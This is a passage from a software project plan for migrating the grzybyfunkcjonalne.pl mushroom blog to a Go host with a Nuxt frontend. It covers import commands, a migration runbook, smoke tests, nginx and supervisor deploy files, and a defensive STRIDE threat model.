+- Deploy files `deploy/nginx/grzybyfunkcjonalne-staging.conf`, `deploy/supervisor/grzybyfunkcjonalne-go.conf` (`[program:grzybyfunkcjonalne-go]`), `deploy/supervisor/grzybyfunkcjonalne-nuxt.conf` (`[program:grzybyfunkcjonalne-nuxt]`), `deploy/env.example` (adds `SUMMER_URL`), `deploy/nuxt.env.example` (`NUXT_JOURNAL_API_BASE`, `NUXT_SITE_URL`, `NUXT_SITE_INDEXABLE`, `NUXT_PUBLIC_GA_ID`, `NITRO_HOST`, `NITRO_PORT`).
+- Host `README.md`; `.gitignore` entry `/build/`; todo `.planning/todos/pending/journal-imported-html-admin-resave.md`.
+
+<tasks>
+
+<task type="tracer">
+  <name>Task 1: Tracer — /gfadmin, plugin golem15.grzyby and grzyby:import-featured-images serve one imported post with its Winter-named featured image</name>
+  <precondition>SMOKE_ADMIN_DSN is set to a Postgres >= 15 maintenance-database DSN for a role with CREATEDB and ICU support (psql "$SMOKE_ADMIN_DSN" -c 'select 1' exits 0), or `docker info` exits 0; and /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export holds the PHP export JSON files.</precondition>
+  <files>../sm-grzybyfunkcjonalne-app/config/backend.yaml, ../sm-grzybyfunkcjonalne-app/boot_test.go, ../sm-grzybyfunkcjonalne-app/summer.yaml, ../sm-grzybyfunkcjonalne-app/go.work, ../sm-grzybyfunkcjonalne-app/go.mod, ../sm-grzybyfunkcjonalne-app/go.sum, ../sm-grzybyfunkcjonalne-app/main.go, ../sm-grzybyfunkcjonalne-app/plugins.gen.go, ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.mod, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.sum, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/plugin.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/helpers.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/featured/map.jsonl, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/featured/uploads/665/f1e/2a3/665f1e2a3b4c5d6e7f8091.png, ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh, ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh</files>
+  <read_first>.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md (D-09, D-17, D-22, D-25), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (Journal Export vs Importer table, Featured images option a, Pitfalls 1, 3, 6, 7, Migration runbook), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-PATTERNS.md (config/backend.yaml, app-local plugin + import_featured_images.go, smoke.sh), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-01-SUMMARY.md (Prerequisite contract), ../sm-grzybyfunkcjonalne-app/boot_test.go, ../sm-grzybyfunkcjonalne-app/config/backend.yaml, ../sm-grzybyfunkcjonalne-app/config/storage.yaml, ../sm-journal-plugin/console/import_posts.go, ../sm-journal-plugin/console/export_posts.go (mustDB, flagOrDefault, flagOn), ../sm-journal-plugin/plugin.go (Commands), ../sm-summercmsio-app/plugins/golem15/summercms/plugin.go, ../summercms.go/modules/lagoon/attach/file.go, ../summercms.go/modules/lagoon/attach/thumb.go, ../summercms.go/modules/lagoon/attach/bucket.go, ../summercms.go/modules/cabana/prefix.go, ../summercms.go/internal/build/scaffold.go, ../sm-summercmsio-app/scripts/smoke.sh</read_first>
+  <action>Journal gitlink: compare `git -C ../sm-grzybyfunkcjonalne-app ls-files -s plugins/golem15/journal` with the sibling ../sm-journal-plugin HEAD that carries the D-20/D-21 commits recorded in 16-01; when the host gitlink is older, fetch into the nested clone with git -c protocol.file.allow=always fetch file://<absolute ../sm-journal-plugin> and check out that commit, then commit the gitlink alone in the host (chore: point journal gitlink at author endpoint and category content) — Phase 15 nested-clone precedent.
+
+config/backend.yaml: change the mount to uri: /gfadmin and update its comment (D-09: the site keeps the admin on its own domain; the old /backend path is intentionally gone). Commit (feat: mount the admin at /gfadmin).
+
+Plugin: install the summer CLI from the framework checkout into a temp GOBIN (GOBIN=<tmp> go -C ../summercms.go install ./cmd/summer), then from the host root run summer make:plugin golem15.grzyby (creates plugins/grzyby) and summer plugin:add plugins/grzyby (summer.yaml, go.work, host go.mod), then summer build (regenerates main.go and plugins.gen.go; never edit them by hand). plugin.go: package grzyby, ID golem15.grzyby, Requires() returns golem15.journal, Register stores *backpack.App, Boot returns nil, var _ pact.HasCommands = (*Plugin)(nil), Commands() returns ImportFeaturedImagesCommand(p.app) (Task 2 adds the category command), init calls party.Register(&Plugin{}). No routes, no admin controllers, no migrations: the plugin adds no HTTP endpoint (Phase 15 D-14 contract unchanged).
+
+console/helpers.go: flagOrDefault, flagOn, lookupDB (app.Lookup[*gorm.DB]), lookupBucket (app.Lookup[*blob.Bucket], else attach.OpenBucket(ctx, app.Config)), validDiskName (^[A-Za-z0-9]+\.[A-Za-z0-9]+$, so no separators or dot-dot).
+
+console/import_featured_images.go (D-22, shaped like journal ImportPosts): FeaturedImageEntry { Slug slug, DiskName disk_name, FileName file_name, ContentType content_type, FileSize file_size, SortOrder sort_order } with those JSON keys; ReadFeaturedImageMap(path) reads JSON Lines (one object per line, blank lines skipped, errors name the line number); FeaturedImageOptions { MapPath, SourceDir, ExportDir, DryRun }; FeaturedImageStats { Created, Skipped, Failed }; ImportFeaturedImages(ctx, db *gorm.DB, bucket *blob.Bucket, opts, out bonfire.Output) (FeaturedImageStats, error). Per entry: reject a disk name failing validDiskName or a content type outside image/jpeg, image/png, image/gif, image/webp (Failed, continue); resolve the source file as SourceDir joined with attach.PartitionDirectory(disk_name) and disk_name and refuse it unless filepath.Rel from SourceDir stays inside; find the post by host slug = entry.slug; when no post matches and ExportDir is set, read <ExportDir>/<slug>.json and retry with translations.pl.slug (base-to-live slug, RESEARCH: live URLs use the pl slug); a miss is Failed with "post not found: <slug>". Skipped when a system_files row already exists with attachment_type = models.Post{}.MorphName(), attachment_id = the post id as a decimal string, field featured_images and the same disk_name, and the blob attach.BlobKey(disk_name) exists. Otherwise (unless DryRun) write the blob under attach.BlobKey(disk_name) with the entry content type (bucket.WriteAll), then insert attach.File { DiskName, FileName, FileSize, ContentType, Field featured_images, AttachmentID, AttachmentType, SortOrder, IsPublic nil } — Created. Fatal DB errors return; per-entry problems print out.Error and count Failed. ImportFeaturedImagesCommand(app) is bonfire command grzyby:import-featured-images with flags map, source, export and the bare flag dry-run; map and source are required; it prints "Results: N created, N skipped, N failed".
+
+testdata/featured: a valid 1×1 PNG at uploads/665/f1e/2a3/665f1e2a3b4c5d6e7f8091.png and map.jsonl with one line for slug badania-nad-cordycepsem (the base slug, so the export fallback is exercised) with that disk_name, file_name cordyceps.png, content_type image/png, the real byte size, sort_order 0.
+
+boot_test.go: four plugins now; the migrations loop checks only golem15.user, golem15.translate and golem15.journal (the app plugin has none); assert some assembled route Pattern starts with /gfadmin/ and none starts with /backend; assert the golem15.grzyby plugin implements pact.HasCommands and lists grzyby:import-featured-images; keep every existing assertion.
+
+scripts/migrate.sh (D-25 ordered runbook; summercms.io script conventions: usage header, set -euo pipefail, die to stderr, tool loop): flags --bin, --workdir (holds config/ and .env), --export, --featured-map with --uploads, --dry-run. Steps in order: (1) bin migrate in the workdir; (2) read SUMMER_DATABASE__DSN from <workdir>/.env and refuse with "migrate: database already holds journal posts; import must run once into a fresh database (Pitfall 3)" when SELECT count(*) FROM golem15_journal_posts is not 0; (3) psql UPDATE golem15_translate_locales SET is_default = (code = 'pl') and die unless SELECT code FROM golem15_translate_locales WHERE is_default AND is_enabled returns exactly pl (Pitfall 1); (4) journal:import-posts --path EXPORT --dry-run, then without --dry-run; (5) when --featured-map is given, grzyby:import-featured-images --map … --source <uploads> --export EXPORT; print "migrate: ok". With --dry-run only steps that write nothing run.
+
+scripts/smoke.sh (this task builds the --go-only path; Task 3 adds Nuxt and urls.txt): require bin/grzybyfunkcjonalne (build it in this task with go -C ../sm-grzybyfunkcjonalne-app build -o bin/grzybyfunkcjonalne .); database: when SMOKE_ADMIN_DSN is set, create grzyby_smoke_<random hex> with TEMPLATE template0 ENCODING 'UTF8' LOCALE_PROVIDER icu ICU_LOCALE 'pl-PL' and drop only that database on exit; else docker postgres:15 like summercms.io; it never touches any other database name. Work dir with config/ copied and a .env of random secrets plus SUMMER_URL=http://127.0.0.1:<go port>; run migrate.sh with --export "${SMOKE_EXPORT_DIR:-/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export}" and the testdata featured map; serve Go on SMOKE_GO_PORT (default 18096, refuse a busy port); check: GET /_journal/api/v1/posts?per_page=1 meta.total equals the number of published export files, GET /_journal/api/v1/posts/blogbadania-nad-cordycepsem answers 200 with featured_image_url /storage/app/uploads/public/665/f1e/2a3/665f1e2a3b4c5d6e7f8091.png and that file exists under the work dir storage, GET /_journal/api/v1/posts/badania-nad-cordycepsem answers 404, GET /gfadmin answers a non-404 status, GET /backend answers 404; a second grzyby:import-featured-images run prints 0 created; print "smoke: ok (go)".
+
+Commits: plugin and boot test (feat: app plugin golem15.grzyby with featured-image import), scripts (feat: migration runbook and Go rehearsal). go vet and go test stay green at each.</action>
+  <verify>
+    <automated>go -C ../sm-grzybyfunkcjonalne-app vet ./... &amp;&amp; go -C ../sm-grzybyfunkcjonalne-app test ./... -count=1 -v -run '^(TestBootUserTranslateJournal|TestCORS)$' &amp;&amp; go -C ../sm-grzybyfunkcjonalne-app/plugins/grzyby vet ./... &amp;&amp; go -C ../sm-grzybyfunkcjonalne-app build -o bin/grzybyfunkcjonalne . &amp;&amp; bash ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh --go-only</automated>
+    <fails_when>Non-zero exit; output contains "--- FAIL", "smoke:" followed by an error, or "migrate:" followed by an error; the lines "--- PASS: TestBootUserTranslateJournal" or "smoke: ok (go)" are absent.</fails_when>
+    <automated>! grep -q 'uri: /backend' ../sm-grzybyfunkcjonalne-app/config/backend.yaml</automated>
+    <fails_when>Exit status 1: config/backend.yaml still mounts the admin at the old path.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - config/backend.yaml contains `uri: /gfadmin`; the boot test asserts a /gfadmin/ route and no /backend route.
+    - summer.yaml lists golem15.grzyby and plugins.gen.go imports git.golem15.com/golem15/sm-grzybyfunkcjonalne-app/plugins/grzyby, both produced by summer, not hand-edited.
+    - On the rehearsal database the post blogbadania-nad-cordycepsem answers 200 with featured_image_url /storage/app/uploads/public/665/f1e/2a3/665f1e2a3b4c5d6e7f8091.png and the file exists at that path under the work dir; the base slug answers 404.
+    - The second featured-image run reports 0 created (idempotent, D-22).
+    - pl is the only default locale before the import ran (migrate.sh dies otherwise).
+    - The host journal gitlink points at a commit containing the D-20 and D-21 additions.
+  </acceptance_criteria>
+  <done>An imported post with its Winter-named featured image is served by the Go host from a scripted, ordered migration, with the admin at /gfadmin.</done>
+</task>
+
+<task type="auto">
+  <name>Task 2: Category content import, the rest of the runbook (categories, media, author) and the PHP export queries</name>
+  <files>../sm-grzybyfunkcjonalne-app/plugins/grzyby/plugin.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_categories.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/categories/map.jsonl, ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh, ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh, ../sm-grzybyfunkcjonalne-app/boot_test.go, ../sm-grzybyfunkcjonalne-app/scripts/php-export/featured-images.sql, ../sm-grzybyfunkcjonalne-app/scripts/php-export/categories.sql, ../sm-grzybyfunkcjonalne-app/scripts/php-export/README.md, .planning/todos/pending/journal-imported-html-admin-resave.md</files>
+  <read_first>../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images.go, ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh, ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md (D-15, D-17, D-20, D-21), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (Journal Export vs Importer: categories, authors, inline media refs; Pitfall 2; Open Questions 1 and 3; Content Inventory: category pillar content), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-01-SUMMARY.md (Prerequisite contract: D-21 field name, D-20 author slug storage), ../sm-journal-plugin/models/category.go, ../sm-journal-plugin/updates/202610060007_add_author_slug_to_backend_users.go, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/sources/gf_old.sql (category rows, for the query shape only), .planning/todos/pending/menu-plugin-port.md (todo file format)</read_first>
+  <action>console/import_categories.go (D-21): CategoryEntry { Slug slug, Name name, Description description (nullable), Content content (nullable), Translations translations map[locale]map[field]string } with those JSON keys; ReadCategoryMap(path) reads JSON Lines like the featured map; CategoryStats { Updated, Unchanged, Failed }; ImportCategories(ctx, db, entries, dryRun, out). For each entry take the pl translation value of slug, name, description and content when present and non-empty, else the base value (pl is the default locale after D-25, so host columns hold pl). Find the category by host slug (pl slug, then base slug); a miss is Failed with "category not found: <slug>" (journal:import-posts already created every category a post references, drafts included, so all seven exist). Update name, description and the D-21 content field (the Go field and column named in the 16-01 Prerequisite contract) in one UPDATE; identical values count Unchanged. ImportCategoriesCommand(app) is grzyby:import-categories with flag map (required) and bare dry-run, printing "Results: N updated, N unchanged, N failed". Register it in Plugin.Commands() and extend the boot test to expect both command names. testdata/categories/map.jsonl: one line for cordyceps with a pl name, a description and content containing the marker text Cordyceps w pigułce.
+
+migrate.sh gains, in this order after the post import: --categories-map runs grzyby:import-categories; --media <php storage/app/media dir> rsyncs it to <workdir>/storage/app/media/ (images and files as they are; Artur Wolak.png and las.webp are referenced by 32 post bodies); --featured-map (Task 1); --author-login with --author-slug (D-15 /autor/<slug>, D-20): psql sets the author slug column recorded in the 16-01 contract (assumed backend_users.golem15_bloghub_author_slug) for that login and sets user_id on every golem15_journal_posts row whose user_id is NULL, dying when the login does not exist. Finally it prints a gap report (D-17: flag, do not patch): the count of post bodies still referencing https://gf.uat.golem15.com/storage/ (2 known broken references), and the count of published posts without a featured image.
+
+smoke.sh --go-only additionally runs --categories-map with the testdata map and checks that GET /_journal/api/v1/categories?include_empty=1 returns cordyceps with the content marker and that amanita-muscaria is present with post_count 0 (D-24).
+
+scripts/php-export (run on the PHP server, D-22 "SQL query on the PHP database"): featured-images.sql selects one JSON_OBJECT per row (slug, disk_name, file_name, content_type, file_size, sort_order) from system_files where field = 'featured_images' joined to the posts table; the slug is the pl slug from the translate index table when one exists, else the base slug; comments at the top name the two values to check on the server before running (RESEARCH Open Question 3): the post model morph (Golem15\\Journal\\Models\\Post or Golem15\\Blog\\Models\\Post with its table) and the translate tables (winter_translate_* or rainlab_translate_*). categories.sql selects one JSON_OBJECT per category (slug, name, description, content, translations: { pl: the pl attribute_data JSON }). README.md: run each with mysql -N -B --raw <database> < file > out.jsonl (JSON_OBJECT needs MySQL 5.7.8+ or MariaDB 10.2.3+; one object per line, which is exactly the commands' JSONL input), how to copy the outputs and the uploads/media directories to the staging work dir, and that every map is read-only input (no secrets).
+
+Todo .planning/todos/pending/journal-imported-html-admin-resave.md (summercms.go planning repo, separate docs commit): RESEARCH Pitfall 2 — imported pl content is HTML and an admin re-save of an imported post runs FormatHTML and replaces the body with a raw-HTML-omitted comment; until sm-journal-plugin converts or passes through HTML content, do not edit imported posts in /gfadmin. The host README (Task 3) repeats the warning.
+
+Commits: plugin (feat: grzyby:import-categories for category content), scripts (feat: runbook categories, media and author steps; PHP export queries), and the todo in summercms.go (docs: todo for Journal HTML content re-save).</action>
+  <verify>
+    <automated>go -C ../sm-grzybyfunkcjonalne-app vet ./... &amp;&amp; go -C ../sm-grzybyfunkcjonalne-app test ./... -count=1 -v -run '^(TestBootUserTranslateJournal)$' &amp;&amp; go -C ../sm-grzybyfunkcjonalne-app/plugins/grzyby vet ./... &amp;&amp; go -C ../sm-grzybyfunkcjonalne-app build -o bin/grzybyfunkcjonalne . &amp;&amp; bash ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh --go-only</automated>
+    <fails_when>Non-zero exit; output contains "--- FAIL" or "smoke:" followed by an error; "smoke: ok (go)" or "--- PASS: TestBootUserTranslateJournal" is absent.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - The rehearsal's categories response carries the Cordyceps w pigułce marker in the D-21 field for cordyceps and lists amanita-muscaria with post_count 0.
+    - Re-running grzyby:import-categories with the same map reports 0 updated and 1 unchanged.
+    - migrate.sh runs migrate, the pl default switch and its assertion, the post import, categories, media, featured images and author assignment in that order; `grep -n 'journal:import-posts' scripts/migrate.sh` appears after the line containing `code = 'pl'`.
+    - featured-images.sql and categories.sql each emit one JSON_OBJECT per row, and the README states the server checks for the model morph and the translate table names.
+    - The boot test expects both grzyby:import-featured-images and grzyby:import-categories.
+    - The todo file exists under .planning/todos/pending/ and names Pitfall 2.
+  </acceptance_criteria>
+  <done>Category content, media, featured images and the /autor author are all covered by one ordered runbook with PHP-side export queries ready for the server.</done>
+</task>
+
+<task type="auto">
+  <name>Task 3: Two-process deploy files, build script, urls.txt and the full local rehearsal over every old URL</name>
+  <files>../sm-grzybyfunkcjonalne-app/scripts/build.sh, ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, ../sm-grzybyfunkcjonalne-app/scripts/urls.txt, ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh, ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf, ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-go.conf, ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-nuxt.conf, ../sm-grzybyfunkcjonalne-app/deploy/env.example, ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example, ../sm-grzybyfunkcjonalne-app/README.md, ../sm-grzybyfunkcjonalne-app/.gitignore</files>
+  <read_first>../sm-grzybyfunkcjonalne-app/scripts/smoke.sh, ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh, ../sm-summercmsio-app/scripts/build.sh, ../sm-summercmsio-app/scripts/check-deploy.sh, ../sm-summercmsio-app/deploy/nginx/summercms.io.conf, ../sm-summercmsio-app/deploy/supervisor/summercms-io.conf, ../sm-summercmsio-app/deploy/env.example, ../sm-summercmsio-app/README.md, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (URL Inventory, Code Examples nginx and supervisor, Pitfalls 5, 6, 7, 12, Security Domain), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md (D-07, D-09, D-10, D-15, D-18, D-23)</read_first>
+  <action>scripts/build.sh (summercms.io build.sh conventions; one mode, against the framework working tree because the host requires summercms v0.0.0 through a local replace): tool loop go, pnpm, node, git, rsync; SUMMERCMS_FRAMEWORK (default ../summercms.go); die when vue-grzybyfunkcjonalne-app/package.json or any plugin go.mod is missing (run git submodule update --init); install the summer CLI to a temp GOBIN and run summer build from the host root, then die when git status shows main.go or plugins.gen.go changed ("commit them first"); go vet ./...; CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -trimpath -o bin/grzybyfunkcjonalne .; pnpm -C vue-grzybyfunkcjonalne-app install --frozen-lockfile and build; rsync -a --delete vue-grzybyfunkcjonalne-app/.output/ build/nuxt/.output/; print "build: bin/grzybyfunkcjonalne and build/nuxt/.output ready". .gitignore adds /build/.
+
+deploy/nginx/grzybyfunkcjonalne-staging.conf (comment header: staging vhost on the PHP site's server next to the live Winter vhost, which stays untouched, D-10; server name and paths are confirmed at 16-04): HTTP server with the ACME webroot location and a 301 to HTTPS; HTTPS server for staging.grzybyfunkcjonalne.pl with the four certbot lines, gzip as summercms.io. Locations: location ^~ /backend returns 404 (D-09); location ^~ /gfadmin and location ^~ /_journal/ proxy to http://127.0.0.1:8096 with proxy_http_version 1.1, Host $host, X-Real-IP, X-Forwarded-For $proxy_add_x_forwarded_for, X-Forwarded-Proto $scheme, client_max_body_size 64m (config/http.yaml upload_bytes); a regex location ^/storage/app/(uploads/public|media)/.+\.(?:jpe?g|png|gif|webp)$ with root /srv/grzybyfunkcjonalne/go, add_header X-Content-Type-Options nosniff always, expires 30d (Pitfall 7, RESEARCH static.go warning); a plain prefix location /storage/ returning 404 — it must not use the ^~ modifier, because ^~ would stop nginx before the regex image location is tried; location / with limit_except GET HEAD deny all, proxy to http://127.0.0.1:3016 with the same headers (Pitfall 5: X-Forwarded-For reaches Nuxt, which forwards it to Go).
+
+deploy/supervisor/grzybyfunkcjonalne-go.conf: [program:grzybyfunkcjonalne-go] command /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne serve --addr 127.0.0.1:8096, directory /srv/grzybyfunkcjonalne/go (config/ and .env are read from it), user grzybyfunkcjonalne, environment SUMMER_ENV="production", autostart, autorestart, startsecs 3, stopsignal TERM, stopwaitsecs 15, log settings as summercms.io. deploy/supervisor/grzybyfunkcjonalne-nuxt.conf: [program:grzybyfunkcjonalne-nuxt] command /usr/bin/node --env-file=/srv/grzybyfunkcjonalne/nuxt/.env /srv/grzybyfunkcjonalne/nuxt/.output/server/index.mjs, directory /srv/grzybyfunkcjonalne/nuxt, same user and restart/log settings, environment NODE_ENV="production". deploy/env.example: SUMMER_DATABASE__DSN as postgres://grzybyfunkcjonalne:<password>@127.0.0.1:5432/grzybyfunkcjonalne?sslmode=disable, the three secrets SUMMER_APP__KEY, SUMMER_ADMIN__JWT__SECRET and SUMMER_GOLEM15__USER__JWT__SECRET with empty values and their generation hints (summercms.io wording), plus SUMMER_URL=https://staging.grzybyfunkcjonalne.pl (Pitfall 6: RSS links and Go origin must be https behind nginx); header naming the server path, owner and mode 0640. deploy/nuxt.env.example: NITRO_HOST=127.0.0.1, NITRO_PORT=3016, NUXT_JOURNAL_API_BASE=http://127.0.0.1:8096/_journal/api/v1, NUXT_SITE_URL=https://staging.grzybyfunkcjonalne.pl, NUXT_SITE_INDEXABLE=false (staging is never indexed; production removes the line), NUXT_PUBLIC_GA_ID= (empty on staging; production sets G-MLSV7WJ6W4, D-23).
+
+scripts/check-deploy.sh (adapt summercms.io): nginx -t in a temp prefix with the certbot paths swapped for a throwaway certificate, listen ports moved to loopback 18480/18443 and the root path pointed at a temp dir; then python3 configparser checks both supervisor programs for command, directory, user, autostart, autorestart, stopsignal, that the Go command contains serve --addr 127.0.0.1:8096 and the Nuxt command contains --env-file= and .output/server/index.mjs; then greps the nginx file for X-Content-Type-Options nosniff, location ^~ /backend, location ^~ /gfadmin, location ^~ /_journal/ and limit_except GET HEAD, and dies if it finds location ^~ /storage/; prints "check-deploy: ok".
+
+scripts/urls.txt (grammar [remote] STATUS PATH [contains=TEXT] [notcontains=TEXT] [type=PREFIX]; lines marked remote are checked only with --url because no nginx runs locally): fetch https://grzybyfunkcjonalne.pl/sitemap.xml now and write 200 PATH for every loc (71 at research time: /, /blog, seven categories, 62 posts; RESEARCH says re-pull before freezing). Then add: 200 /blog?page=2 contains=?page=2 (canonical keeps the query, A7); 200 /blog?page=6; 404 /blog?page=7; 404 /blog?page=abc; 200 /cordyceps?page=2; 200 /reishi?page=2; 404 /chaga?page=2 (pages exist only where a category has more than 10 published posts in the export: cordyceps 14, reishi 13); 200 /amanita-muscaria (D-24); 200 /kontakt contains=mailto:kontakt@grzybyfunkcjonalne.pl; 200 /trwaja-prace contains=Niebawem; 200 /rss.xml type=application/rss+xml; 200 /sitemap.xml type=application/xml; 200 /robots.txt contains=Disallow:; 404 /404; 404 /error; 404 /nieistnieje; 404 /rss; 404 /feed; 404 /blog/badania-nad-cordycepsem (base slug); 404 /en/blog (D-16); 200 /autor/admin; 404 /autor/nobody; 404 /backend; 200 /_journal/api/v1/posts type=application/json; remote 200 /storage/app/media/las.webp type=image/; remote 404 /storage/app/uploads/public/x.php; remote 404 /storage/config.yaml.
+
+scripts/smoke.sh full mode (default, no flag): requires the build.sh outputs; does the --go-only setup with --author-login and --author-slug admin (before invoking migrate.sh the script runs bin migrate, which is idempotent, and then creates that admin with the cabana command admin:create --email admin@example.test --login admin --superuser, piping a random password from /dev/urandom on stdin, never printed or passed as a flag; migrate.sh's own migrate step is then a no-op and its fresh-database check still passes because no post exists yet; migrate.sh gains no admin creation of its own and the README runbook lists the same order: migrate, admin:create, migrate.sh), then starts Nuxt from build/nuxt/.output/server/index.mjs on SMOKE_NUXT_PORT (default 13016) with NUXT_JOURNAL_API_BASE pointing at the rehearsal Go server and NUXT_SITE_INDEXABLE=false; checks every non-remote urls.txt line, sending paths that start with /gfadmin, /_journal or /backend to Go and everything else to Nuxt, with X-Forwarded-For: 203.0.113.7; prints "smoke: ok (N urls)". --url BASE checks every line (remote included) against BASE only and starts nothing. Any mismatch prints "smoke: FAIL <line>: got <status/type>" and exits 1.
+
+README.md (host; it may name the site): what the app is (headless Go host for the Nuxt SSR site, two processes), layout table (summercms.io README style: vue-grzybyfunkcjonalne-app, plugins/golem15/{user,translate,journal}, plugins/grzyby, config, scripts, deploy), build and checks commands, the migration runbook (D-25 order, fresh database only, Pitfall 3 recovery: drop, migrate, pl default, import again), the PHP export steps (scripts/php-export/README.md), the admin at /gfadmin, the Pitfall 2 warning, ports and env files, and a pointer to DEPLOY.md (written in 16-04).
+
+Commits: deploy and scripts (feat: staging deploy files and full URL rehearsal), README (docs: host README).</action>
+  <verify>
+    <automated>bash ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh &amp;&amp; bash ../sm-grzybyfunkcjonalne-app/scripts/build.sh &amp;&amp; bash ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh</automated>
+    <fails_when>Non-zero exit; output contains "check-deploy:" followed by an error, "build:" followed by an error, or "smoke: FAIL"; the lines "check-deploy: ok" or "smoke: ok (" are absent.</fails_when>
+    <automated>! grep -nE '^(SUMMER_APP__KEY|SUMMER_ADMIN__JWT__SECRET|SUMMER_GOLEM15__USER__JWT__SECRET)=.' ../sm-grzybyfunkcjonalne-app/deploy/env.example &amp;&amp; grep -qE '^SUMMER_DATABASE__DSN=.*<password>' ../sm-grzybyfunkcjonalne-app/deploy/env.example</automated>
+    <fails_when>Non-zero exit: a secret line in the template has a value, or the DSN line lacks the &lt;password&gt; marker (a real credential was written).</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - check-deploy.sh prints "check-deploy: ok" (nginx -t passes; both supervisor programs parse with the required keys).
+    - The local rehearsal passes every non-remote urls.txt line, including all live sitemap URLs, /blog?page=2 keeping ?page=2 in the canonical, /amanita-muscaria 200, /autor/admin 200, /backend 404, /en/blog 404 and /rss.xml with an RSS content type.
+    - urls.txt contains one 200 line for every loc in the live sitemap fetched during this task (the count is recorded in the SUMMARY).
+    - The nginx file has no `location ^~ /storage/` and has the image regex location with X-Content-Type-Options nosniff.
+    - deploy/nuxt.env.example sets NUXT_SITE_INDEXABLE=false and an empty NUXT_PUBLIC_GA_ID.
+    - README.md describes the runbook order and the Pitfall 2 warning.
+  </acceptance_criteria>
+  <done>The host builds both processes, its deploy files pass nginx -t and supervisor parsing, and a local rehearsal answers every old URL with the expected status.</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| Internet → nginx → Go admin | /gfadmin and the Journal write routes are reachable on the public domain |
+| Internet → nginx → disk | Uploaded and media files are served from the Go host's storage directory |
+| PHP database export → Go commands | JSONL maps produced on the PHP server drive file copies and row writes |
+| Operator → server secrets | .env files hold the database DSN and JWT secrets |
+| Rehearsal scripts → Postgres | smoke.sh creates and drops databases with an admin DSN |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16-10 | Elevation of Privilege | /gfadmin admin exposure | high | mitigate | cabana backend auth unchanged; backend.cookie_secure stays true (refused false in production); /backend has no Go route (boot test) and nginx returns 404 for it |
+| T-16-11 | Tampering | same-origin XSS through files under /storage | high | mitigate | nginx serves only jpe?g/png/gif/webp under /storage/app/{uploads/public,media} with X-Content-Type-Options nosniff; every other /storage/ path is 404 (plain prefix, not ^~); no Go static handler is mounted; check-deploy.sh asserts all three |
+| T-16-12 | Tampering | grzyby:import-featured-images file paths | medium | mitigate | validDiskName rejects separators and dot-dot; the source path must stay inside --source (filepath.Rel); content type allowlist image/jpeg, png, gif, webp; blobs are written only under attach.BlobKey |
+| T-16-13 | Information Disclosure | deploy/env.example, nuxt.env.example | medium | mitigate | Templates carry empty values only (negative grep); .env stays on the server, .gitignore keeps it out; smoke.sh generates throwaway secrets |
+| T-16-14 | Tampering | journal:import-posts re-runs after the pl switch | medium | mitigate | migrate.sh refuses a database that already holds posts and asserts pl is the only default before importing (Pitfalls 1 and 3) |
+| T-16-15 | Spoofing | X-Forwarded-For through nginx and Nuxt | medium | mitigate | nginx appends $proxy_add_x_forwarded_for; Go trusts only 127.0.0.1/32 and reads the rightmost untrusted hop, so a client-supplied XFF cannot pick another bucket |
+| T-16-16 | Denial of Service | Nuxt location | low | mitigate | limit_except GET HEAD on location /; Go keeps its 120/min journal buckets; Nuxt swr caching (16-02) |
